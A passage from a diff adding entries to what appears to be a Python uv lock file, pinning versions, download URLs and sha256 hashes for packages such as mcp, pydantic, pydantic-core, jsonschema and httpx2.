"python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d5/44/474bef2a0e9d90f1715d32cb98b0738695ca17ba324095fb2497ed7fbd59/httpx2-2.13.1.tar.gz", hash = "sha256:e48744a19e3af5ee48313d0ce5fe941d5422fae5705ea922a4aabf94d7800dfa", size = 100405, upload-time = "2026-09-23T07:47:23.052Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d8/9c/6fe8931fd9f381042a9e4c7d5a7b4cbf7016b252bec0c99a49fce42c3326/httpx2-2.13.1-py3-none-any.whl", hash = "sha256:6dff50fabc270ee5fd25d845d0b078ed20564579744d6d962850975996d2f9a4", size = 95597, upload-time = "2026-09-23T07:47:20.995Z" }, +] + +[package.optional-dependencies] +ws = [ + { name = "wsproto" }, +] + +[[package]] +name = "httpx2-jsfetch" +version = "1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/cd/c4/0e5636363151a2a1795e0a77617168b9ca438e1748ec05fc9b5687f93d64/httpx2_jsfetch-1.0.tar.gz", hash = "sha256:70a0e3eabfef7cce5ad9c629f7d01ca05e418f586646f4ddf14782e4c1454c60", size = 6872, upload-time = "2026-08-07T00:13:07.492Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9b/43/832f631d32e4f1211caa2ba368317739fe71f0b8530e4c9d15dc454bac2a/httpx2_jsfetch-1.0-py3-none-any.whl", hash = "sha256:cb916b707601e69a07721aabc8f3f6659be3a6893bc1ff5c6f9e02241df2da32", size = 6382, upload-time = "2026-08-07T00:13:06.567Z" }, +] + +[[package]] +name = "idna" +version = "3.20" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f5/08/8eea9d4b8302028f3abb2c0813953f7aec26d33b7a8960ed760e65ff29fa/idna-3.20.tar.gz", hash = "sha256:a7db850025b95ded1eae8a46181a1a6c56c92c96f0e2b005d9ff8dc0210cab44", size = 216463, upload-time = "2026-09-17T14:11:04.752Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/58/a2/bb081bab032533a855d44de1d56f8e8426114ff1ba5d1f07a438a0a654f8/idna-3.20-py3-none-any.whl", hash = "sha256:ab7ae7122974553370f0bdb919e1a960b2cd1bc1ef0276416d896db81c14582c", size = 69583, upload-time = "2026-09-17T14:11:03.168Z" }, +] + +[[package]] +name = "iniconfig" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, +] + +[[package]] +name = "jsonschema" +version = "4.26.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "attrs" }, + { name = "jsonschema-specifications" }, + { name = "referencing" }, + { name = "rpds-py" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b3/fc/e067678238fa451312d4c62bf6e6cf5ec56375422aee02f9cb5f909b3047/jsonschema-4.26.0.tar.gz", hash = "sha256:0c26707e2efad8aa1bfc5b7ce170f3fccc2e4918ff85989ba9ffa9facb2be326", size = 366583, upload-time = "2026-01-07T13:41:07.246Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/69/90/f63fb5873511e014207a475e2bb4e8b2e570d655b00ac19a9a0ca0a385ee/jsonschema-4.26.0-py3-none-any.whl", hash = "sha256:d489f15263b8d200f8387e64b4c3a75f06629559fb73deb8fdfb525f2dab50ce", size = 90630, upload-time = "2026-01-07T13:41:05.306Z" }, +] + +[[package]] +name = "jsonschema-specifications" +version = "2025.9.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "referencing" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/19/74/a633ee74eb36c44aa6d1095e7cc5569bebf04342ee146178e2d36600708b/jsonschema_specifications-2025.9.1.tar.gz", hash = "sha256:b540987f239e745613c7a9176f3edb72b832a4ac465cf02712288397832b5e8d", size = 32855, upload-time = "2025-09-08T01:34:59.186Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/41/45/1a4ed80516f02155c51f51e8cedb3c1902296743db0bbc66608a0db2814f/jsonschema_specifications-2025.9.1-py3-none-any.whl", hash = "sha256:98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113f210cc6fe", size = 18437, upload-time = "2025-09-08T01:34:57.871Z" }, +] + +[[package]] +name = "mcp" +version = "2.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "httpx2" }, + { name = "jsonschema" }, + { name = "mcp-types" }, + { name = "opentelemetry-api" }, + { name = "pydantic" }, + { name = "pyjwt", extra = ["crypto"] }, + { name = "python-multipart" }, + { name = "pywin32", marker = "sys_platform == 'win32'" }, + { name = "sse-starlette" }, + { name = "starlette" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, + { name = "uvicorn", marker = "sys_platform != 'emscripten'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/76/31/ac54fb0fdd5b37de704486e288bba4fbbb463f24cfcfedbede407b854513/mcp-2.2.0.tar.gz", hash = "sha256:2dc37ecb1974becdcebdbf7561e7c15a07dbbf20ba21ba16c3593b3038b3afbd", size = 4084129, upload-time = "2026-09-07T16:06:23.439Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1b/ff/8e7eade68b8a28f7da0ed1085544341b51f9c935dbf6b95c76b7edfea6a0/mcp-2.2.0-py3-none-any.whl", hash = "sha256:bde982589473a060ae145e3406e9a5333fe538c97229ba841f5a7f92be004f81", size = 365656, upload-time = "2026-09-07T16:06:19.711Z" }, +] + +[[package]] +name = "mcp-types" +version = "2.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pydantic" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ae/91/762d7755d971aff8a28d75f7961656148edf27875c8026e6385aaab08ae7/mcp_types-2.2.0.tar.gz", hash = "sha256:d3ed53703ddd10d9c6399f29d322bb66f3f67ab41348ac8556ba23e07fedefad", size = 65892, upload-time = "2026-09-07T16:06:25.187Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8f/d7/6ffba5d8cd5dd9b8a19478875c50e04945314ba5074e84d749283f27f62d/mcp_types-2.2.0-py3-none-any.whl", hash = "sha256:ea476b73ee86709ab5abc9452385ed36cc05907e582355622e294595c9a04f13", size = 69106, upload-time = "2026-09-07T16:06:21.461Z" }, +] + +[[package]] +name = "modelsdotdev" +version = "0.20260818.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/17/34/e5d0b54bf967bee3e37cb7d8261143670a79603f6e770fb8a68d8ffcd17a/modelsdotdev-0.20260818.0.tar.gz", hash = "sha256:375e6793dc5bc731075e7631ee32b7d0a3be6a4a6cade3e3d417664dae40d8fd", size = 1087820, upload-time = "2026-08-18T08:14:47.009Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6f/92/242f3c5a20d64e964895a02fe5c86ae66ed09e6317be600c67012bc1addc/modelsdotdev-0.20260818.0-py3-none-any.whl", hash = "sha256:dd55b13bfd029e2a8345f7326e4239dcb8b972d2bbd174f422aa0ca59da1ad9c", size = 1096608, upload-time = "2026-08-18T08:14:45.326Z" }, +] + +[[package]] +name = "opentelemetry-api" +version = "1.45.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/1f/dc/e12c1fe1ed8a7b7149777127b1a0e12ce5bd5a81d97408bedc2128c260f5/opentelemetry_api-1.45.0.tar.gz", hash = "sha256:711ede81773c8025c2c03dac0450bc89f3d30aea6eabcc815c570d4e35a963f7", size = 72115, upload-time = "2026-09-25T12:32:28.399Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/44/b9/040d1a1c7836922828e6480cd2366bb8fe0ebf75b413d2bb51a9b0e7f78f/opentelemetry_api-1.45.0-py3-none-any.whl", hash = "sha256:80e068aba7cd56c8b58512d6a36f8d25cb1dfaa0c0a4cc1c938ccf9f362d9cb3", size = 60020, upload-time = "2026-09-25T12:32:03.192Z" }, +] + +[[package]] +name = "packaging" +version = "26.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7d/fa/3944b40b07da9ce895c0e6303a5ab7d53da063554f534556b134a54d6093/packaging-26.3.tar.gz", hash = "sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79", size = 313412, upload-time = "2026-08-04T18:15:28.737Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/63/34/ba1c580383c9eada3711951fef0795c80b829a078d72188184bcab9dd527/packaging-26.3-py3-none-any.whl", hash = "sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c", size = 129956, upload-time = "2026-08-04T18:15:27.159Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, +] + +[[package]] +name = "pycparser" +version = "3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1b/7d/92392ff7815c21062bea51aa7b87d45576f649f16458d78b7cf94b9ab2e6/pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29", size = 103492, upload-time = "2026-01-21T14:26:51.89Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48172, upload-time = "2026-01-21T14:26:50.693Z" }, +] + +[[package]] +name = "pydantic" +version = "2.13.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-types" }, + { name = "pydantic-core" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/53/ef/fc4f868f4e2cee79f863883abffceff107875f569b848507319842d2a681/pydantic-2.13.5.tar.gz", hash = "sha256:51a9c5f7b2f8e636f04c6cada605d9b6a3bf1348fdf945a3d8869b19bba0ee08", size = 845750, upload-time = "2026-08-28T14:04:00.916Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/eb/47/c95ffc2009878c7aac0c5e08528022dcb885933252a88b5f170058014464/pydantic-2.13.5-py3-none-any.whl", hash = "sha256:346a034f080da3755d8e9cb5e00e8b07de1d39e4f6e2c87d8ab7cafa0b269a73", size = 472589, upload-time = "2026-08-28T14:03:59.136Z" }, +] + +[[package]] +name = "pydantic-core" +version = "2.46.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/af/f9/8a06bea35ef8daf588f707784c973a7046e0034c8d8cfb08828eeffb8b75/pydantic_core-2.46.5.tar.gz", hash = "sha256:10416c15b8839ecc4ef4d0885da76da6fd0f67333a0eb8aff6d93c4b8f2910fc", size = 472262, upload-time = "2026-08-28T10:01:31.677Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/82/3f/76358795aa7a8c6d4f36e2cb828ad1c90ee118e1393a9281664f5aade9d4/pydantic_core-2.46.5-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:b9fe6fb92520e3fd61f2e49000b6911b188824f089b75973ea06d6267f0b476d", size = 2076516, upload-time = "2026-08-28T09:58:21.576Z" }, + { url = "https://files.pythonhosted.org/packages/db/50/26b091836076ce4cb2fac264186936acc069e0595772cfd02a563bc4761a/pydantic_core-2.46.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:a39ac25a9a2fa4072efdb429833c4a4c8009a51ff9eea3eeae131713cd27991e", size = 1922874, upload-time = "2026-08-28T09:58:23.766Z" }, + { url = "https://files.pythonhosted.org/packages/09/f0/2a8ce3849e299d44e2d2c196b6082643a3235565a735cb51db7a6261f614/pydantic_core-2.46.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4fdc8b93a41521988916eeaa271173fcca7fa0803d62f87675aac8dcec1c8e29", size = 1951772, upload-time = "2026-08-28T09:58:25.435Z" }, + { url = "https://files.pythonhosted.org/packages/87/46/ac0dc8bdd9e6048183a14eb127764e7ad9240021c17513074a4711b0e31e/pydantic_core-2.46.5-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b98134087d9de723658d17a42c7d0da8d6e2ef08015dee7dc93889047315f5e4", size = 2031832, upload-time = "2026-08-28T09:58:27.102Z" }, + { url = "https://files.pythonhosted.org/packages/c4/c2/339de5bef7be36301a2231eaa52e62163742c2281f11b5f4892bc79785cd/pydantic_core-2.46.5-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e652ab17569c94bff5475520f907b7148b8c24036a8ebbe5cf7cf7493d28579a", size = 2208645, upload-time = "2026-08-28T09:58:28.948Z" }, + { url = "https://files.pythonhosted.org/packages/7b/a0/9ff22b797724262da14427abaed4dd1d864a139693fc5e7809114376a716/pydantic_core-2.46.5-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d925f3d9afd05a8c0fb3a1031463a8d59ebe5e2afad297e29c78be19e13b4e62", size = 2265935, upload-time = "2026-08-28T09:58:30.625Z" }, + { url = "https://files.pythonhosted.org/packages/c0/a4/eb9409ec0736e50aa70a412f16c204ed149516846912f7e6724d4c73ee53/pydantic_core-2.46.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0fc5be0abd4a407e200d844b404e33639a554e7bd0d448e7b9ae181be4789ac2", size = 2066284, upload-time = "2026-08-28T09:58:32.289Z" }, + { url = "https://files.pythonhosted.org/packages/c0/02/7f6156ffc926857f1c37c07d9a388682865a81830ab6a1b637082c25e399/pydantic_core-2.46.5-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:816ff0a6550ffc06c098ccd2e0698600f9aa7da192a79eaa6f9af504a35db869", size = 2105889, upload-time = "2026-08-28T09:58:33.986Z" }, + { url = "https://files.pythonhosted.org/packages/92/b1/e781d357ebe09fc929f995700f1b3503e8897f1cece183ecb1300d4d67e9/pydantic_core-2.46.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c7ea57fc63aa7da93a1bd2d644e6577befae10c52c4e36377635eea1056a74f5", size = 2158006, upload-time = "2026-08-28T09:58:35.647Z" }, + { url = "https://files.pythonhosted.org/packages/70/0a/644597d84ab400e50609c192120b85c9681c22d3a20461b9060a79be0a7a/pydantic_core-2.46.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:efd62a42486f1bda5d24cb4f63d15a3c7768375fe83d36f9417b4ad7a2fb20b3", size = 2158408, upload-time = "2026-08-28T09:58:37.38Z" }, + { url = "https://files.pythonhosted.org/packages/1e/ee/ca3b7b3a4b3769ffe9ce9432a7c9be755de9593a46d3b0d54d0409323e44/pydantic_core-2.46.5-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:2bc9419666990c06d7397831f2126a1ecc3594aaa3ff7de5bf2d066802f4e07b", size = 2309609, upload-time = "2026-08-28T09:58:39.22Z" }, + { url = "https://files.pythonhosted.org/packages/ce/52/39fa1f451486019524ca685020390e7ca351832fd874530ba30c8628e6dc/pydantic_core-2.46.5-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:18a09e1e1011b462f2e32774f25859ef1223d5c2b0546a633cf56654710721e0", size = 2342618, upload-time = "2026-08-28T09:58:40.89Z" }, + { url = "https://files.pythonhosted.org/packages/81/5e/468fc630568c61dcef3cd47ad32ffbeed9af643f49208d1ea86ab4f890c4/pydantic_core-2.46.5-cp312-cp312-win32.whl", hash = "sha256:5cb482e9e84c851f4e623fe4acc1ced89168cf1fe18f7089db4548c8f5bbb65b", size = 1939475, upload-time = "2026-08-28T09:58:42.591Z" }, + { url = "https://files.pythonhosted.org/packages/cf/c9/4c19f41b84cf6b622a72fbeed7665b25d47a187d68d47d0d430c07f23268/pydantic_core-2.46.5-cp312-cp312-win_amd64.whl", hash = "sha256:5e81740c09e310f5aa5cbd3e434a01c154d4bef93241c7877b39f211d2b78ba8", size = 2043140, upload-time = "2026-08-28T09:58:44.272Z" }, + { url = "https://files.pythonhosted.org/packages/af/dd/0c1a050299147c746e5256db16d645ab5efd4f78c59937d581a0524e74a2/pydantic_core-2.46.5-cp312-cp312-win_arm64.whl", hash = "sha256:f7b0ec93a2893de856652154d73b7ba622f26fa97726487dcac373de5f4c6084", size = 1997729, upload-time = "2026-08-28T09:58:46.13Z" }, + { url = "https://files.pythonhosted.org/packages/f5/37/5abe39a8372a61d3dc3c1338fc504281c01b32fdb3169cd7187153b56d3e/pydantic_core-2.46.5-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:b7ca9034437b6022f941f4857459562ee00a560b97e7cce8a0ec5a74fc6766e0", size = 2075885, upload-time = "2026-08-28T09:58:47.856Z" }, + { url = "https://files.pythonhosted.org/packages/21/43/6323b1f8b217780454c61304bcd2b38ae4762f50754414124603ccc90bb2/pydantic_core-2.46.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f332f0e72a5a0400141f830744e141bf9f97917878dbe968669e8a7fefea78ff", size = 1922768, upload-time = "2026-08-28T09:58:49.58Z" }, + { url = "https://files.pythonhosted.org/packages/0f/a3/c05ca796e1197618a774b01e596aeedfefc2f7d8c01ae3054e910b120e8a/pydantic_core-2.46.5-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:193375f3548919d3f0b60936ca113ada3e38f264f91b9b8e0508efaad57be931", size = 1951241, upload-time = "2026-08-28T09:58:51.511Z" }, + { url = "https://files.pythonhosted.org/packages/68/32/33bc39ac705c52cffc908e8389f9754fdb208aea5c69cceddf4eb3ce99af/pydantic_core-2.46.5-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:79bdfa52f843137045b2d081cc05c120ba6665d29b7559c2c47690906f39279f", size = 2031975, upload-time = "2026-08-28T09:58:53.166Z" }, + { url = "https://files.pythonhosted.org/packages/b0/70/2333e885c0f6a67bc105c5916965dac9b57f2718ee20d81d1a06a4ebdc13/pydantic_core-2.46.5-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:24922243639cbdac66c75fcb6fd6495a9cb52b213d62f9a0d16f0310b1ff8038", size = 2208542, upload-time = "2026-08-28T09:58:55.017Z" }, + { url = "https://files.pythonhosted.org/packages/f7/ea/296debfb4264207bbda5936133892e027c0a58875ad53ebd512fba8ec3a2/pydantic_core-2.46.5-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c76fe65e607be28c7fd4d56fc3c42b1583aa058ce3408b7ad0fd540171d31f9f", size = 2264692, upload-time = "2026-08-28T09:58:56.767Z" }, + { url = "https://files.pythonhosted.org/packages/d3/f2/9e4de77a6271e07a76d2d58b11c091a979c191ed2939bf80067568b369d2/pydantic_core-2.46.5-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f7b393a8b3da82f5c1fc0751e6d01ac6c55b93c18226a60bdfba4a724efafd1", size = 2066633, upload-time = "2026-08-28T09:58:58.531Z" }, + { url = "https://files.pythonhosted.org/packages/8d/db/f9e9d0c97445987b2084823d5c240de88087338f04fc2cfaa2df186b8049/pydantic_core-2.46.5-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:7ac031912d54f3d83ef3b3eb98dfabc1608802e2202263d25957eeed40b94761", size = 2105235, upload-time = "2026-08-28T09:59:00.421Z" }, + { url = "https://files.pythonhosted.org/packages/07/c5/79169b047b3b2c3e99e04bc76372af9637e0bf6db638274fa927df96369e/pydantic_core-2.46.5-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:837b396ca3d7b74091ca623f6cbd8351bd42d670a79c2683e79fb089f06a2de5", size = 2157367, upload-time = "2026-08-28T09:59:02.442Z" }, + { url = "https://files.pythonhosted.org/packages/26/b5/ba6057afb7c291bd449f51b867f95aef2072941c4ce4e5c31d6ffd132d3b/pydantic_core-2.46.5-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:5ee239d575f80b08eca11f6e20f90c4c695de7825c67eefe6091fbf20dda648e", size = 2158420, upload-time = "2026-08-28T09:59:04.2Z" }, + { url = "https://files.pythonhosted.org/packages/6e/28/2057abecaafdc22912afa819603a51f0a62d40643b7c4871c51721fea9be/pydantic_core-2.46.5-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:e80675d75ae2cd14372cb65cad5400d9347a3d3f6c13000183f22dfd027283ed", size = 2309588, upload-time = "2026-08-28T09:59:06.048Z" }, + { url = "https://files.pythonhosted.org/packages/71/9d/881156dc404e27479c4246128d73538464cab4a239bec61995e227644c30/pydantic_core-2.46.5-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:9c4b71f10dd532fb7a5cbc8f58707779e64f03a258c2bf8bfbaecfcd9970b519", size = 2341866, upload-time = "2026-08-28T09:59:08.539Z" }, + { url = "https://files.pythonhosted.org/packages/5a/38/d66f443a259f84d13babdceae568e572b0ed26da17ca5d0a649ebb110a67/pydantic_core-2.46.5-cp313-cp313-win32.whl", hash = "sha256:97bf8de4d541598c94a59344eeb988a94c08ff76b5723c41f6567ec18c7892ea", size = 1938580, upload-time = "2026-08-28T09:59:10.402Z" }, + { url = "https://files.pythonhosted.org/packages/2c/1e/1d5371213f4cc9a7ed70c0bfcc7911de22311ee99a662a56077d7292d2ac/pydantic_core-2.46.5-cp313-cp313-win_amd64.whl", hash = "sha256:15f4a94963c95accac15b7b657bb177d3ad82bb90b0d0526d9a9b85079925db5", size = 2041980, upload-time = "2026-08-28T09:59:12.396Z" }, + { url = "https://files.pythonhosted.org/packages/5a/48/4222d90b1c67568bace4dec6dca6271449c66de3595d72b6d098f5fde597/pydantic_core-2.46.5-cp313-cp313-win_arm64.whl", hash = "sha256:d22a945598fb91236b4dd793a6e42e4f3dd7740bb5aace5ebd7d4c08d13bb575", size = 1997213, upload-time = "2026-08-28T09:59:14.245Z" }, + { url = "https://files.pythonhosted.org/packages/8e/8a/14596f2a8367da50cf7cbac48169ee5d9c8e11d486a3b527082384630c72/pydantic_core-2.46.5-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:c1c43ad4339643d70ebb8124e1305a7dab423001eff58bb41a0f731adbc98355", size = 2074081, upload-time = "2026-08-28T09:59:16.141Z" }, + { url = "https://files.pythonhosted.org/packages/ae/d5/d8a4eb6d6c7f66b91dd37c576d76e9e60fba900caf5372c17bcf949febc2/pydantic_core-2.46.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1a353f84de772f423b5ffb11d7ae352fbbef0f446f3c0b0af0f8236d7233606e", size = 1920497, upload-time = "2026-08-28T09:59:18.065Z" }, + { url = "https://files.pythonhosted.org/packages/8e/26/092079428f86e927e030b2c0ced87df69dbb1c875cdeaa67bf42ea2be746/pydantic_core-2.46.5-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5086029a57366b8cf81b130a43908738095c270c21a8d7f0e8bdfdb89718e2f3", size = 1952130, upload-time = "2026-08-28T09:59:20.476Z" }, + { url = "https://files.pythonhosted.org/packages/08/c3/8ec0e290a9ebaebd64047bf5fda94be835c6b1551b02437e4b76778fbcd7/pydantic_core-2.46.5-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:46c25dda9d092a06c08db76ffe0a197107904d0dfac653f7d5306bbcd6d6119c", size = 2026371, upload-time = "2026-08-28T09:59:22.227Z" }, + { url = "https://files.pythonhosted.org/packages/01/72/4fd20ad520fb8da0157f95b27a7eb05a72790ef08138e7701ac972c342ea/pydantic_core-2.46.5-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:37ea7b83c935e5b0d68c9449b82651accf78a10828b2c02b2f2d9e9496446c21", size = 2202822, upload-time = "2026-08-28T09:59:24.277Z" }, + { url = "https://files.pythonhosted.org/packages/31/b0/d16e0771206b29314f0d52198b720be21e8a99ab2bf11e3bc0d7c9cebdff/pydantic_core-2.46.5-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e64e88d5585bea9ce95861079de72006c7fa6d3df4e3a3b65ba31eb979c15c9f", size = 2262756, upload-time = "2026-08-28T09:59:26.608Z" }, + { url = "https://files.pythonhosted.org/packages/2c/9b/59634b7ac631c63b2a37760eb6943af3e29573d6b59a4abc5e7f019d4cee/pydantic_core-2.46.5-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:54d510bac3ee52247af28ed4bb18a1e799f040ac60fd2bf5ccd4c92f1fbe786f", size = 2068352, upload-time = "2026-08-28T09:59:29.044Z" }, + { url = "https://files.pythonhosted.org/packages/08/7c/570abb1ad2155348dc754ea91be22e5aaa18eb6d69a6068f7c6f2679a6ed/pydantic_core-2.46.5-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:a2a5e1d0ff29adddc9f6d6821a66302e4493f8ca898b715b6b1182c2c201ea0a", size = 2104777, upload-time = "2026-08-28T09:59:30.95Z" }, + { url = "https://files.pythonhosted.org/packages/8e/25/5bf74adc65a1ac5b7be3f6cb0bcb5433615c1598a801c19d830d84c98ded/pydantic_core-2.46.5-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:03b9666e41e35d8909852ba191a0607520f81b74eaf12ccf8737005dbb313821", size = 2156312, upload-time = "2026-08-28T09:59:32.604Z" }, + { url = "https://files.pythonhosted.org/packages/90/6a/2ef38830675e050121040618135564ed56b860b45433b02d9b4ebece46f3/pydantic_core-2.46.5-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:a91c17edf6eea2402cb5457b4c89e99bc5ed1004aa34c4adf1d4258c1a5c22c2", size = 2150067, upload-time = "2026-08-28T09:59:34.453Z" }, + { url = "https://files.pythonhosted.org/packages/90/ef/a7dbb03a14a64c2a4621f989c615ed9a892535a6cad938fc27079f919d80/pydantic_core-2.46.5-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:b49924c73a235e969511bf2aabdff3beebf9820931f646c80274d5d780010c47", size = 2304516, upload-time = "2026-08-28T09:59:36.194Z" }, + { url = "https://files.pythonhosted.org/packages/68/f8/6bb4c4b80e8a6fde1904c64a51c62a1d04fcdfa3ea521a66b2ddefa1d885/pydantic_core-2.46.5-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:2cbd9a5eff05e51c447c34dfa4632145b26b09120cf04bd0c871e44c1a5e1c9a", size = 2335223, upload-time = "2026-08-28T09:59:37.931Z" }, + { url = "https://files.pythonhosted.org/packages/2a/80/f46b8c681195190b2c1f1c7c0a81abce60663e987613e09ef64d433dd96b/pydantic_core-2.46.5-cp314-cp314-win32.whl", hash = "sha256:2d5d76654becf5efd62c9e51c3756c67b49498b0c9a40884934c40807adbd074", size = 1934827, upload-time = "2026-08-28T09:59:39.836Z" }, + { url = "https://files.pythonhosted.org/packages/f7/3c/60674207246bc0a4009d2391b7c7251c7159f279c8d2ab8aae8ef46f3dee/pydantic_core-2.46.5-cp314-cp314-win_amd64.whl", hash = "sha256:fa10ef4112775900e7a0661068635eb67b2ab824fbde764de6e0e21982a93db0", size = 2042648, upload-time = "2026-08-28T09:59:41.792Z" }, + { url = "https://files.pythonhosted.org/packages/69/0c/117c562c7c1babdf44576b72a5e496906506c93690387ecfbca7c729ae2e/pydantic_core-2.46.5-cp314-cp314-win_arm64.whl", hash = "sha256:045ab3b6d308439e32b81cc173bba5b9018bc6ed896afd0c65b3b009b1699af5", size = 1989652, upload-time = "2026-08-28T09:59:43.702Z" }, + { url = "https://files.pythonhosted.org/packages/e8/66/9336ae58f9eb68c41d121894e52c4c89eccb07eb8f602a04ee9c3f37736a/pydantic_core-2.46.5-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:8816f3d218beb4b787de5c9759c259b8fa61f9dec42dc7811f320a33771778b7", size = 2065829, upload-time = "2026-08-28T09:59:45.364Z" }, + { url = 